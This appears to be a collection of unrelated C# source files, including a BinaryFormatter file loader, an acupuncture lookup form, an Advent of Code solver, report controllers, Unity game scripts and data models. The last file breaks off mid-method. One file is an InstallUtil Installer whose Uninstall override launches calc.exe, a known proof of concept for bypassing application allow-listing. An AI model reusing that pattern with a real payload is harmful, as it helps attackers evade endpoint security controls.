/// </summary>
/// <param name="casos"></param>
/// <param name="fileName"></param>
/// <returns></returns>
public static bool LoadCasos(string fileName)
{
if (File.Exists(fileName))
{
try
{
Stream stream = File.Open(fileName, FileMode.Open);
BinaryFormatter bin = new BinaryFormatter();
allCases = (List<Caso>)bin.Deserialize(stream);
stream.Close();
return true;
}
catch (IOException e)
{
throw e;
}
}
return false;
}
/// <summary>
/// Le os dados guardados do ficheiro.
/// </summary>
/// <param name="casos"></param>
/// <returns></returns>
public static string FormataDados()
{
string lista = "";
foreach (Caso x in allCases)
{
lista += String.Format("\n" + "Nome: " + x.Nome + " Região: " + x.Regiao + " Idade: " + x.Idades + " Genero: " + x.Genero + " Sintomas : " + x.DDoenteRisco + "\n");
}
return lista;
}
#endregion
}
}
|
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace Acupuncture_Assistent
{
public partial class Form2 : Form
{
int image_index = 0;
public Form2()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
textBox2.Clear();
string target = textBox1.Text;
int find = 0, k = 0;
string[] related_acu = new string[1];
foreach(var d in Global.data)
{
foreach(string s in d.feature)
{
if(s.Equals(target))
{
related_acu[k++] = d.acupuncture;
Array.Resize(ref related_acu, related_acu.Length + 1);
find = 1;
}
}
}
Array.Resize(ref related_acu, related_acu.Length - 1);
if (find == 1)
{
foreach (string t in related_acu)
{
textBox2.AppendText(t + "\n");
}
}
else
MessageBox.Show("Not found!!");
}
private void textBox1_KeyPress(object sender, KeyPressEventArgs e)
{
textBox2.Clear();
if (e.KeyChar == 108 || e.KeyChar == 13)
{
string target = textBox1.Text;
int find = 0, k = 0;
string[] related_acu = new string[1];
foreach (var d in Global.data)
{
foreach (string s in d.feature)
{
if (s.Equals(target))
{
related_acu[k++] = d.acupuncture;
Array.Resize(ref related_acu, related_acu.Length + 1);
find = 1;
}
}
}
Array.Resize(ref related_acu, related_acu.Length - 1);
if (find == 1)
{
foreach (string t in related_acu)
{
textBox2.AppendText(t + "\n");
}
}
else
MessageBox.Show("Not found!!");
}
else if (e.KeyChar == 27)
{
this.Close();
}
}
private void Form2_Load(object sender, EventArgs e)
{
pictureBox1.Image = Image.FromFile(@"0.jpg");
}
private void button2_Click(object sender, EventArgs e)
{
if (image_index > 0)
image_index--;
else
image_index = 7;
pictureBox1.Image = Image.FromFile(@image_index + ".jpg");
}
private void button3_Click(object sender, EventArgs e)
{
if (image_index < 7)
image_index++;
else
image_index = 0;
pictureBox1.Image = Image.FromFile(@image_index + ".jpg");
}
private void pictureBox1_MouseUp(object sender, MouseEventArgs e)
{
//Point p = new Point(e.X, e.Y);
//textBox2.AppendText(p.ToString()+"\n");
}
}
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace LopDoiTuong
{
class MangPhanSo
{
public PhanSo[] a = new PhanSo[100];
int length;
public void Nhap() {
Them(new PhanSo(1, 2));
Them(new PhanSo(2,3 ));
Them(new PhanSo(3, 4));
Them(new PhanSo(1, 5));
Them(new PhanSo(1, 6));
}
public void Them(PhanSo p)
{
a[length] = new PhanSo();
a[length] = p;
length++;
}
public PhanSo Tong()
{
PhanSo tong = new PhanSo(0, 1);
for (int i = 0; i < length; i++)
//tong = tong.Cong(a[i]);
tong = tong + a[i];
return tong;
}
public override string ToString()
{
string s = "";
for (int i = 0; i < length; i++)
s += "\t" + a[i];
return s;
}
}
}
|
namespace BettingSystem.Infrastructure.Common.Extensions
{
using System;
using System.Collections.Generic;
public static class EnumerableExtensions
{
public static void ForEach<T>(
this IEnumerable<T> enumerable,
Action<T> action)
{
foreach (var item in enumerable)
{
action(item);
}
}
}
}
|
using System;
using System.Collections.Generic;
using System.Text;
namespace testMonogame
{
class PlayerMoveCommand : ICommand
{
IPlayer player;
public PlayerMoveCommand(IPlayer playerIn)
{
player = playerIn;
}
public void Execute()
{
player.getState().setMoving(true);
}
}
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace InstallUtil
{
class Program
{
static void Main(string[] args)
{
}
}
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
//The Methods can be Uninstall/Install. Install is transactional, and really unnecessary.
public override void Uninstall(System.Collections.IDictionary savedState)
{
System.Diagnostics.Process.Start("calc.exe");
}
}
}
|
using UnityEngine;
public class Latch : MonoBehaviour {
public string _tag = "Player";
public bool isSet = false;
public AudioSource[] audioToStop;
void OnTriggerEnter(Collider that){
if(!that.CompareTag(_tag))return;
if(!isSet){
var audio = this.Get<AudioSource>();
if(audio) audio.Play();
foreach(AudioSource s in audioToStop){
s.Stop();
}
}
isSet = isSet || that.CompareTag(_tag);
}
}
|
using Fingo.Auth.DbAccess.Repository.Interfaces;
using Fingo.Auth.Domain.Projects.Interfaces;
namespace Fingo.Auth.Domain.Projects.Implementation
{
public class GetAddressForSetPassword : IGetAddressForSetPassword
{
private readonly IProjectRepository projectRepository;
public GetAddressForSetPassword(IProjectRepository projectRepository)
{
this.projectRepository = projectRepository;
}
public string Invoke(int projectId)
{
return projectRepository.GetById(projectId).SetPasswordAddress;
}
}
} |
using Backend.Model.Pharmacies;
using System.Collections.Generic;
namespace IntegrationAdapters.Dtos
{
public class SearchResultDto
{
public PharmacySystem pharmacySystem { get; set; }
public List<DrugDto> drugs { get; set; }
}
}
|
using Euler_Logic.Helpers;
using System;
using System.Collections.Generic;
using System.Linq;
namespace Euler_Logic.Problems.AdventOfCode.Y2022 {
public class Problem16 : AdventOfCodeBase {
public override string ProblemName => "Advent of Code 2022: 16";
public override string GetAnswer() {
return Answer1(Input()).ToString();
}
public override string GetAnswer2() {
return Answer2(Input()).ToString();
}
private int Answer1(List<string> input) {
var state = new State() {
WhereYouAre = "AA",
MinutesLeft = 30,
Key = new LinkedList<string>(),
Hash = new Dictionary<string, HashSave>()
};
SetValves(input, state);
SetDistances(state);
Recursive(state);
return state.Best;
}
private int Answer2(List<string> input) {
var state = new State() {
WhereYouAre = "AA",
MinutesLeft = 26,
Key = new LinkedList<string>(),
Hash = new Dictionary<string, HashSave>()
};
SetValves(input, state);
SetDistances(state);
Recursive(state);
return FindBest(state);
}
private int FindBest(State state) {
int best = 0;
var values = state.Hash.ToList();
for (int index1 = 0; index1 < values.Count; index1++) {
var hash1 = values[index1];
for (int index2 = index1 + 1; index2 < values.Count; index2++) {
var hash2 = values[index2];
if ((hash1.Value.Bits & hash2.Value.Bits) == 0) {
var next = hash1.Value.Released + hash2.Value.Released;
if (next > best) best = next;
}
}
}
return best;
}
private void Recursive(State state) {
if (state.AllReleased == state.ReleasedBits || state.MinutesLeft == 0) {
Recursive_CheckFinal(state);
} else {
var current = state.Valves[state.WhereYouAre];
foreach (var next in state.DistanceOrder) {
if (current != next && !next.IsReleased) {
var distance = current.Distances[next.Name];
if (distance < state.MinutesLeft - 1) {
Recursive_Next(state, next, distance);
}
}
}
Recursive_CheckFinal(state);
}
}
private void Recursive_Next(State state, Valve valve, int distance) {
state.MinutesLeft -= distance + 1;
state.Released += state.Flow * (distance + 1);
state.Flow += valve.Flow;
state.ReleasedBits += valve.Bit;
state.UnreleasedFlow -= valve.Flow;
var prior = state.WhereYouAre;
state.WhereYouAre = valve.Name;
valve.IsReleased = true;
state.Key.AddLast(valve.Name);
SaveToHash(state);
Recursive(state);
state.Key.RemoveLast();
valve.IsReleased = false;
state.WhereYouAre = prior;
state.UnreleasedFlow += valve.Flow;
state.ReleasedBits -= valve.Bit;
state.Flow -= valve.Flow;
state.Released -= state.Flow * (distance + 1);
state.MinutesLeft += distance + 1;
}
private void SaveToHash(State state) {
var final = state.Released + (state.Flow * state.MinutesLeft);
var key = string.Join("", state.Key);
if (!state.Hash.ContainsKey(key)) {
state.Hash.Add(key, new HashSave() {
Bits = state.ReleasedBits,
Released = final
});
}
}
private void Recursive_CheckFinal(State state) {
var final = state.Released + (state.Flow * state.MinutesLeft);
if (final > state.Best) {
state.Best = final;
}
}
private void SetDistances(State state) {
var valves = state.Valves.Values.ToList();
for (int index1 = 0; index1 < valves.Count; index1++) {
var valve1 = valves[index1];
for (int index2 = index1 + 1; index2 < valves.Count; index2++) {
var valve2 = valves[index2];
SetDistance(state, valve1, valve2);
}
}
state.DistanceOrder = state.Valves
.Where(x => x.Value.Flow != 0)
.OrderByDescending(x => x.Value.Flow)
.Select(x => x.Value).ToList();
}
private void SetDistance(State state, Valve start, Valve end) {
var heap = new BinaryHeap_Min(state.Valves.Count);
foreach (var valve in state.Valves.Values) {
if (valve == start) {
valve.Num = 0;
} else {
valve.Num = int.MaxValue;
}
heap.Add(valve);
}
heap.Reset();
do {
var current = (Valve)heap.Top;
if (current == end) {
start.Distances.Add(end.Name, current.Num);
end.Distances.Add(start.Name, current.Num);
break;
}
foreach (var nextKey in current.Valves) {
var nextValve = state.Valves[nextKey];
if (nextValve.Num > current.Num + 1) {
nextValve.Num = current.Num + 1;
heap.Adjust(nextValve);
}
}
heap.Remove(current);
} while (true);
}
private void SetValves(List<string> input, State state) {
ulong bit = 1;
state.Valves = input.Select(line => {
var valve = new Valve() { Valves = new List<string>(), Distances = new Dictionary<string, int>() };
var split = line.Split(' ');
valve.Name = split[1];
valve.Flow = Convert.ToInt32(split[4].Substring(5).Replace(";", ""));
int index = 9;
while (index < split.Length) {
var name = split[index].Replace(",", "");
valve.Valves.Add(name);
index++;
}
valve.Bit = bit;
bit *= 2;
state.UnreleasedFlow += valve.Flow;
if (valve.Flow > 0) state.AllReleased += valve.Bit;
return valve;
}).ToDictionary(x => x.Name, x => x);
}
private class State {
public Dictionary<string, Valve> Valves { get; set; }
public List<Valve> DistanceOrder { get; set; }
public int Released { get; set; }
public int Flow { get; set; }
public string WhereYouAre { get; set; }
public string WhereElephantIs { get; set; }
public int MinutesLeft { get; set; }
public ulong ReleasedBits { get; set; }
public ulong AllReleased { get; set; }
public int Best { get; set; }
public int UnreleasedFlow { get; set; }
public Dictionary<string, HashSave> Hash { get; set; }
public LinkedList<string> Key { get; set; }
}
private class Valve : BinaryHeap_Min.Node {
public Dictionary<string, int> Distances { get; set; }
public string Name { get; set; }
public int Flow { get; set; }
public List<string> Valves { get; set; }
public ulong Bit { get; set; }
public bool IsReleased { get; set; }
}
private class HashSave {
public ulong Bits { get; set; }
public int Released { get; set; }
}
}
}
|
using Libreria;
using Microsoft.Reporting.WebForms;
using PROYECTOFINAL.Models;
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Web;
using System.Web.Mvc;
namespace PROYECTOFINAL.Controllers
{
public class ReportesController : Controller
{
// GET: Reportes
public ActionResult Index()
{
return View();
}
public ActionResult ListarProdVendidos()
{
return View();
}
public ActionResult ReporteProve()
{
return View();
}
public ActionResult ReporteProductos(FormCollection form)
{
List<productomodel> lista = new List<productomodel>();
var path = Server.MapPath(@"~/Reporte/Report2.rdlc");
LocalReport reporte = new LocalReport();
reporte.ReportPath = path;
DateTime fecha1 = Convert.ToDateTime(Request.Form["fecha1"]);
DateTime fecha2 = Convert.ToDateTime(Request.Form["fecha2"]);
var efectivo = Request.Form["efectivo"];
var tarjeta = Request.Form["tarjeta"];
var produ = Request.Form["produc"];
var prove = Request.Form["prove"];
int provedor = Convert.ToInt16(Request.Form["proveedor"]);
int idProd = Convert.ToInt16(Request.Form["productos"]);
int categoria =Convert.ToInt16(Request.Form["categoria"]);
var cate = (Request.Form["cate"]);
var MedioP = 0;
if (tarjeta == null && efectivo == null)
{ MedioP = 1; }
else
if (tarjeta != null && efectivo == null)
{ MedioP = 3; }
else
if (tarjeta == null && efectivo != null)
{ MedioP = 2; }
if (produ == "produc")
{
lista = Reporte.GenerarReporte(fecha1, fecha2, MedioP, 0, 0, idProd);
}
else if (cate == "cate")
{
lista = Reporte.GenerarReporte(fecha1, fecha2, MedioP, 0, categoria, 0);
}
else if (prove == "prove")
{
lista = Reporte.GenerarReporte(fecha1, fecha2, MedioP, provedor, 0, 0);
}
else { lista = Reporte.GenerarReporte(fecha1, fecha2, 1, 0, 0, 0); }
//segun los parametros que entran, segun que lista obtiene
if (lista.Count > 0)
{
ReportDataSource dc = new ReportDataSource("DataSet2", lista);
reporte.DataSources.Add(dc);
ReportViewer reportV = new ReportViewer();
reportV.LocalReport.DataSources.Clear();
reportV.LocalReport.ReportPath = path;
reportV.LocalReport.DataSources.Add(dc);
string reportType = "PDF";
/*string mimetype;
string encoding;
string FileNameExtension;
Warning[] warnings;
string[] streams;
*/
byte[] renderBytes;
string deviceInfo =
"<DeviceInfo>" +
" <OutputFormat>EMF</OutputFormat>" +
" <PageWidth>8.5in</PageWidth>" +
" <PageHeight>11in</PageHeight>" +
" <MarginTop>0.25in</MarginTop>" +
" <MarginLeft>0.25in</MarginLeft>" +
" <MarginRight>0.25in</MarginRight>" +
" <MarginBottom>0.25in</MarginBottom>" +
"</DeviceInfo>";
renderBytes = reportV.LocalReport.Render(reportType, deviceInfo);
return File(renderBytes, "application/pdf");
}
else
{
return View();
}
}
public ActionResult ReporteProveedores(FormCollection form)
{
List<compramodel> lista = new List<compramodel>();
DateTime fecha1 = Convert.ToDateTime(Request.Form["fecha1"]);
DateTime fecha2 = Convert.ToDateTime(Request.Form["fecha2"]);
int prove = Convert.ToInt16(Request.Form["proveedor"]);
lista=proveedor.ListarComprasProve(fecha1, fecha2, prove);
var path = Server.MapPath(@"~/Reporte/Report3.rdlc");
LocalReport reporte = new LocalReport();
reporte.ReportPath = path;
if (lista.Count > 0)
{
ReportDataSource dc = new ReportDataSource("DataSet3", lista);
reporte.DataSources.Add(dc);
ReportViewer reportV = new ReportViewer();
reportV.LocalReport.DataSources.Clear();
reportV.LocalReport.ReportPath = path;
reportV.LocalReport.DataSources.Add(dc);
string reportType = "PDF";
/*string mimetype;
string encoding;
string FileNameExtension;
Warning[] warnings;
string[] streams;
*/
byte[] renderBytes;
string deviceInfo =
"<DeviceInfo>" +
" <OutputFormat>EMF</OutputFormat>" +
" <PageWidth>8.5in</PageWidth>" +
" <PageHeight>11in</PageHeight>" +
" <MarginTop>0.25in</MarginTop>" +
" <MarginLeft>0.25in</MarginLeft>" +
" <MarginRight>0.25in</MarginRight>" +
" <MarginBottom>0.25in</MarginBottom>" +
"</DeviceInfo>";
renderBytes = reportV.LocalReport.Render(reportType, deviceInfo);
return File(renderBytes, "application/pdf");
}
else
{
return View();
}
}
public ActionResult detalleVenta(int id)
{
List<ventamodel> lista = new List<ventamodel>();
lista = Reporte.DetalleVenta(id);
var path = Server.MapPath(@"~/Reporte/Report4.rdlc");
LocalReport reporte = new LocalReport();
reporte.ReportPath = path;
if (lista.Count > 0)
{
ReportDataSource dc = new ReportDataSource("DataSet4", lista);
reporte.DataSources.Add(dc);
ReportViewer reportV = new ReportViewer();
reportV.LocalReport.DataSources.Clear();
reportV.LocalReport.ReportPath = path;
reportV.LocalReport.DataSources.Add(dc);
string reportType = "PDF";
/*string mimetype;
string encoding;
string FileNameExtension;
Warning[] warnings;
string[] streams;
*/
byte[] renderBytes;
string deviceInfo =
"<DeviceInfo>" +
" <OutputFormat>EMF</OutputFormat>" +
" <PageWidth>8.5in</PageWidth>" +
" <PageHeight>11in</PageHeight>" +
" <MarginTop>0.25in</MarginTop>" +
" <MarginLeft>0.25in</MarginLeft>" +
" <MarginRight>0.25in</MarginRight>" +
" <MarginBottom>0.25in</MarginBottom>" +
"</DeviceInfo>";
renderBytes = reportV.LocalReport.Render(reportType, deviceInfo);
return File(renderBytes, "application/pdf");
}
else
{
return View();
}
}
}
} |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace ClipModels
{
public class I_SUBJ1
{
public const int EMPTY_SUBJECT = 0;
// Category Numbers constants
public const int MAIN_CATEGORIES = 1;
public const int SECONDARY_CATEGORIES = 2;
public const int YEARS = 3;
public const int SEASONS = 4;
public const int GENDERS = 5;
public const int PLACES = 6;
public const int LANGUAGES = 7;
public const int KARATS = 8;
public const int NIPPLE = 9;
public const int DESIGNERS = 10;
public const int SUPPLIERS = 11;
public const int QUALITY_RATE = 12;
public const int TAGS1 = 13;
public const int MUSIC_TYPES = 14;
public const int TALK = 15;
public const int HD = 16;
public const int THIRD_CATEGORY = 17;
public const int FOURTH_CATEGORY = 18;
public const int THREE_D = 19;
public const int TAGS2 = 20;
public const int TAGS3 = 21;
public const int TAGS4 = 22;
public int ID { get; set; }
public string SB1_Kidomet { get; set; }
public int SB1_Subject { get; set; }
public string SB1_Name { get; set; }
}
}
|
using OnboardingSIGDB1.Domain._Base;
using System;
namespace OnboardingSIGDB1.Domain.Empresas.Specifications
{
public class ListarEmpresaSpecificationBuilder : SpecificationBuilder<Empresa>
{
private long _id;
private string _nome;
private string _cnpj;
private DateTime? _dataFundacaoInicio;
private DateTime? _dataFundacaoFim;
public static ListarEmpresaSpecificationBuilder Novo()
{
return new ListarEmpresaSpecificationBuilder();
}
public ListarEmpresaSpecificationBuilder ComId(long id)
{
_id = id;
return this;
}
public ListarEmpresaSpecificationBuilder ComNome(string nome)
{
_nome = nome;
return this;
}
public ListarEmpresaSpecificationBuilder ComCnpj(string cnpj)
{
_cnpj = cnpj;
return this;
}
public ListarEmpresaSpecificationBuilder ComDataFundacaoInicio(DateTime? dataFundacaoInicio)
{
_dataFundacaoInicio = dataFundacaoInicio;
return this;
}
public ListarEmpresaSpecificationBuilder ComDataFundacaoFim(DateTime? dataFundacaoFim)
{
_dataFundacaoFim = dataFundacaoFim;
return this;
}
public override Specification<Empresa> Build()
{
return new Specification<Empresa>(emp =>
(_id == 0 || emp.Id == _id) &&
(string.IsNullOrEmpty(_nome) || emp.Nome.ToUpper().Contains(_nome)) &&
(string.IsNullOrEmpty(_cnpj) || emp.Cnpj.Equals(_cnpj)) &&
(!_dataFundacaoInicio.HasValue || (emp.DataFundacao.HasValue && emp.DataFundacao.Value.Date >= _dataFundacaoInicio.Value.Date)) &&
(!_dataFundacaoFim.HasValue || (emp.DataFundacao.HasValue && emp.DataFundacao.Value.Date <= _dataFundacaoFim.Value.Date))
)
.OrderBy(OrdenarPor)
.Paging(Pagina)
.PageSize(TamanhoDaPagina);
}
}
}
|
using Microsoft.AspNet.Identity;
using Microsoft.AspNet.Identity.EntityFramework;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Security.Claims;
using System.Text;
using System.Threading.Tasks;
namespace InventoryManager.Data.Models
{
//Took out AplicationUser from MVC Project Models to achieve single purpse of the Data dll and use only one dbContext and renamed it to User
public class User : IdentityUser
{
public async Task<ClaimsIdentity> GenerateUserIdentityAsync(UserManager<User> manager)
{
// Note the authenticationType must match the one defined in CookieAuthenticationOptions.AuthenticationType
var userIdentity = await manager.CreateIdentityAsync(this, DefaultAuthenticationTypes.ApplicationCookie);
// Add custom user claims here
return userIdentity;
}
}
}
|
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class LiftManager : MonoBehaviour {
private LiftController [] lift;
private float timer;
private float maxTime;
private bool isMoving = false;
private bool canMove = false;
private bool direction = true;
void OnEnable ()
{
lift = new LiftController [4];
lift [0] = transform.GetChild (0).GetComponent <LiftController> ();
lift [1] = transform.GetChild (1).GetComponent <LiftController> ();
lift [2] = transform.GetChild (2).GetComponent <LiftController> ();
lift [3] = transform.GetChild (3).GetComponent <LiftController> ();
foreach (LiftController item in lift)
item.liftHeight = -3.0f;
isMoving = false;
canMove = true;
direction = true;
timer = 0.0f;
maxTime = Random.Range (3, 16);
}
void Move ()
{
isMoving = true;
timer = 0;
GetComponent <BoxCollider> ().enabled = true;
}
void Update ()
{
if (timer < maxTime && !isMoving)
timer += Time.deltaTime;
else if (canMove)
Move ();
if (isMoving)
{
foreach (LiftController item in lift)
{
if (direction)
{
if (item.liftHeight > -45.0f)
item.liftHeight -= 16.0f * Time.deltaTime;
else
{
direction = false;
Reset ();
}
}
else
{
if (item.liftHeight < -3.0f)
item.liftHeight += 16.0f * Time.deltaTime;
else
{
direction = true;
GetComponent <BoxCollider> ().enabled = false;
Reset ();
}
}
}
}
}
void Reset ()
{
isMoving = false;
timer = 0;
maxTime = Random.Range (3, 16);
}
void OnTriggerStay (Collider col)
{
if (col.tag == "Player")
canMove = false;
}
void OnTriggerExit (Collider col)
{
if (col.tag == "Player")
canMove = true;
}
}
|
using System;
using System.ComponentModel.DataAnnotations;
using com.Sconit.Entity.SYS;
namespace com.Sconit.Entity.PRD
{
[Serializable]
public partial class BomDetail : EntityBase, IAuditable
{
#region O/R Mapping Properties
[Display(Name = "BomDetail_Id", ResourceType = typeof(Resources.PRD.Bom))]
public Int32 Id { get; set; }
[Export(ExportName = "BomDet", ExportSeq = 10)]
[Required(AllowEmptyStrings = false, ErrorMessageResourceName = "Errors_Common_FieldRequired", ErrorMessageResourceType = typeof(Resources.SYS.ErrorMessage))]
[StringLength(50, ErrorMessageResourceName = "Errors_Common_FieldLengthExceed", ErrorMessageResourceType = typeof(Resources.SYS.ErrorMessage))]
[Display(Name = "BomDetail_Bom", ResourceType = typeof(Resources.PRD.Bom))]
public string Bom { get; set; }
[Export(ExportName = "BomDet", ExportSeq = 60)]
[Required(AllowEmptyStrings = false, ErrorMessageResourceName = "Errors_Common_FieldRequired", ErrorMessageResourceType = typeof(Resources.SYS.ErrorMessage))]
[Display(Name = "BomDetail_Item", ResourceType = typeof(Resources.PRD.Bom))]
public string Item { get; set; }
[Display(Name = "BomDetail_OpReference", ResourceType = typeof(Resources.PRD.Bom))]
[Required(AllowEmptyStrings = false, ErrorMessageResourceName = "Errors_Common_FieldRequired", ErrorMessageResourceType = typeof(Resources.SYS.ErrorMessage))]
public string OpReference { get; set; }
[Export(ExportName = "BomDet", ExportSeq = 110)]
[Required(AllowEmptyStrings = false, ErrorMessageResourceName = "Errors_Common_FieldRequired", ErrorMessageResourceType = typeof(Resources.SYS.ErrorMessage))]
[StringLength(50, ErrorMessageResourceName = "Errors_Common_FieldLengthExceed", ErrorMessageResourceType = typeof(Resources.SYS.ErrorMessage))]
[Display(Name = "BomDetail_Uom", ResourceType = typeof(Resources.PRD.Bom))]
public string Uom { get; set; }
[Required(AllowEmptyStrings = false, ErrorMessageResourceName = "Errors_Common_FieldRequired", ErrorMessageResourceType = typeof(Resources.SYS.ErrorMessage))]
[Display(Name = "BomDetail_Operation", ResourceType = typeof(Resources.PRD.Bom))]
public Int32 Operation { get; set; }
[Display(Name = "BomDetail_StructureType", ResourceType = typeof(Resources.PRD.Bom))]
public com.Sconit.CodeMaster.BomStructureType StructureType { get; set; }
[Export(ExportName = "BomDet", ExportSeq = 80)]
[Required(AllowEmptyStrings = false, ErrorMessageResourceName = "Errors_Common_FieldRequired", ErrorMessageResourceType = typeof(Resources.SYS.ErrorMessage))]
[Display(Name = "BomDetail_StartDate", ResourceType = typeof(Resources.PRD.Bom))]
public DateTime StartDate { get; set; }
[Export(ExportName = "BomDet", ExportSeq = 90)]
[Display(Name = "BomDetail_EndDate", ResourceType = typeof(Resources.PRD.Bom))]
public DateTime? EndDate { get; set; }
[Export(ExportName = "BomDet", ExportSeq = 100)]
[Required(AllowEmptyStrings = false, ErrorMessageResourceName = "Errors_Common_FieldRequired", ErrorMessageResourceType = typeof(Resources.SYS.ErrorMessage))]
[Display(Name = "BomDetail_RateQty", ResourceType = typeof(Resources.PRD.Bom))]
[Range(0.000000001, 1000000, ErrorMessageResourceName = "Errors_Common_FieldEquals", ErrorMessageResourceType = typeof(Resources.SYS.ErrorMessage))]
public Decimal RateQty { get; set; }
[Export(ExportName = "BomDet", ExportSeq = 120)]
[Required(AllowEmptyStrings = false, ErrorMessageResourceName = "Errors_Common_FieldRequired", ErrorMessageResourceType = typeof(Resources.SYS.ErrorMessage))]
[Display(Name = "BomDetail_ScrapPercentage", ResourceType = typeof(Resources.PRD.Bom))]
public Decimal ScrapPercentage { get; set; }
[Display(Name = "BomDetail_BackFlushStrategy", ResourceType = typeof(Resources.PRD.Bom))]
public string BackFlushStrategy { get; set; }
[Display(Name = "BomDetail_BackFlushMethod", ResourceType = typeof(Resources.PRD.Bom))]
public com.Sconit.CodeMaster.BackFlushMethod BackFlushMethod { get; set; }
[Display(Name = "BomDetail_FeedMethod", ResourceType = typeof(Resources.PRD.Bom))]
public com.Sconit.CodeMaster.FeedMethod FeedMethod { get; set; }
//public Boolean IsScanHu { get; set; }
[Display(Name = "BomDetail_IsAutoFeed", ResourceType = typeof(Resources.PRD.Bom))]
public Boolean IsAutoFeed { get; set; }
[StringLength(50, ErrorMessageResourceName = "Errors_Common_FieldLengthExceed", ErrorMessageResourceType = typeof(Resources.SYS.ErrorMessage))]
[Display(Name = "BomDetail_Location", ResourceType = typeof(Resources.PRD.Bom))]
public string Location { get; set; }
[Display(Name = "BomDetail_IsPrint", ResourceType = typeof(Resources.PRD.Bom))]
public Boolean IsPrint { get; set; }
[Display(Name = "BomDetail_BomMrpOption", ResourceType = typeof(Resources.PRD.Bom))]
public com.Sconit.CodeMaster.BomMrpOption BomMrpOption { get; set; }
public Int32 CreateUserId { get; set; }
public string CreateUserName { get; set; }
public DateTime CreateDate { get; set; }
public Int32 LastModifyUserId { get; set; }
public string LastModifyUserName { get; set; }
public DateTime LastModifyDate { get; set; }
#endregion
public override int GetHashCode()
{
if (Id != 0)
{
return Id.GetHashCode();
}
else
{
return base.GetHashCode();
}
}
public override bool Equals(object obj)
{
BomDetail another = obj as BomDetail;
if (another == null)
{
return false;
}
else
{
return (this.Id == another.Id);
}
}
}
}
|
namespace suspliers
{
using System;
using System.Data.Entity;
using System.ComponentModel.DataAnnotations.Schema;
using System.Linq;
public partial class Model1 : DbContext
{
public Model1()
: base("name=sup")
{
}
public virtual DbSet<supp> supps { get; set; }
protected override void OnModelCreating(DbModelBuilder modelBuilder)
{
}
}
}
|
/***********************************************************************
* Module: NonConsumableEquipmentService.cs
* Author: Jelena Budisa
* Purpose: Definition of the Class Service.Room&EquipmentService.NonConsumableEquipmentService
***********************************************************************/
using System;
using Model.Manager;
using Model.Users;
using Repository;
using System.Collections.Generic;
namespace Service.RoomAndEquipment
{
public class NonConsumableEquipmentService
{
public Repository.NonConsumableEquipmentRepository nonConsumableEquipmentRepository = new NonConsumableEquipmentRepository();
public NonConsumableEquipment newNonConsumableEquipment(NonConsumableEquipment equipment)
{
return nonConsumableEquipmentRepository.NewEquipment(equipment);
}
public List<NonConsumableEquipment> ViewNonConsumableEquipment()
{
return nonConsumableEquipmentRepository.GetAllEquipment();
}
public Model.Manager.NonConsumableEquipment AddNonConsumableEqipment(Model.Manager.NonConsumableEquipment equipment)
{
return nonConsumableEquipmentRepository.NewEquipment(equipment);
}
public Model.Manager.NonConsumableEquipment EditNonConsumableEquipment(Model.Manager.NonConsumableEquipment equipment)
{
return nonConsumableEquipmentRepository.SetEquipment(equipment);
}
public bool DeleteNonConsumableEquipment(int id)
{
return nonConsumableEquipmentRepository.DeleteEquipment(id);
}
}
} |
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.UI;
using UnityEngine.SceneManagement;
public class GameManager : MonoBehaviour
{
private bool hasGameEnded = false;
public float restartDelay = 1f;
[Header("Settings Menu")]
public GameObject settingsMenu;
public AudioManager audioManager;
[Header("Help Menu")]
public GameObject helpMenu;
[Header("Credits Menu")]
public GameObject creditsMenu;
[Header("Game Over! Properties")]
public GameObject gameOverPanel;
public Text GOData;
[Header("Level Complete! Properties")]
public GameObject levelCompletePanel;
public Text LCData;
[Header("Paused Items")]
public GameObject pausePanel;
public GameObject patientTracker;
public GameObject player;
public GameObject sanitationTimer;
public GameObject weapons;
public GameObject weaponSwitching;
private void Awake()
{
audioManager = FindObjectOfType<AudioManager>();
audioManager.a = 0;
}
public void EndGame(int endFlag, float sanLevel, int curedPatients, int totalPatients)
{
// endFlag 0 = GAME OVER
// endFlag 1 = GAME WON
if(!hasGameEnded)
{
hasGameEnded = true;
if(endFlag == 1)
{
LCData.text = "Patients Cured: " + curedPatients + " / " + totalPatients + "\nSanitation Level: " + sanLevel + "%";
levelCompletePanel.SetActive(true);
}
else if(endFlag == 0)
{
GOData.text = "Patients Cured: " + curedPatients + " / " + totalPatients + "\nSanitation Level: " + sanLevel + "%";
gameOverPanel.SetActive(true);
}
FindObjectOfType<PlayerMovement>().enabled = false;
}
}
public void RestartGame()
{
levelCompletePanel.SetActive(false);
gameOverPanel.SetActive(false);
Time.timeScale = 1;
pausePanel.SetActive(false);
// Enable the scripts again
patientTracker.GetComponent<PatientTracker>().enabled = true;
player.GetComponent<PlayerMovement>().enabled = true;
sanitationTimer.GetComponent<SanitationTimer>().enabled = true;
weaponSwitching.GetComponent<WeaponSwitching>().enabled = true;
SceneManager.LoadScene(SceneManager.GetActiveScene().name);
AudioManager.Instance.a = 0;
}
public void QuitGame()
{
levelCompletePanel.SetActive(false);
gameOverPanel.SetActive(false);
SceneManager.LoadScene("MainMenu");
AudioManager.Instance.b = 0;
}
public void PlayLevel1()
{
SceneManager.LoadScene("Level 1");
AudioManager.Instance.a = 0;
}
public void OpenSettingsMenu()
{
//settingsMenu.GetComponentInChildren<Slider>().value = AudioManager.Instance.GetComponent<AudioSource>().volume;
settingsMenu.SetActive(true);
}
public void AdjustVolume()
{
AudioManager.Instance.GetComponent<AudioSource>().volume = settingsMenu.GetComponentInChildren<Slider>().value;
}
public void CloseSettingsMenu()
{
//AudioManager.Instance.GetComponent<AudioSource>().volume = settingsMenu.GetComponentInChildren<Slider>().value;
settingsMenu.SetActive(false);
}
public void OpenHelpMenu()
{
helpMenu.SetActive(true);
}
public void CloseHelpMenu()
{
helpMenu.SetActive(false);
}
public void OpenCreditsMenu()
{
creditsMenu.SetActive(true);
}
public void CloseCreditsMenu()
{
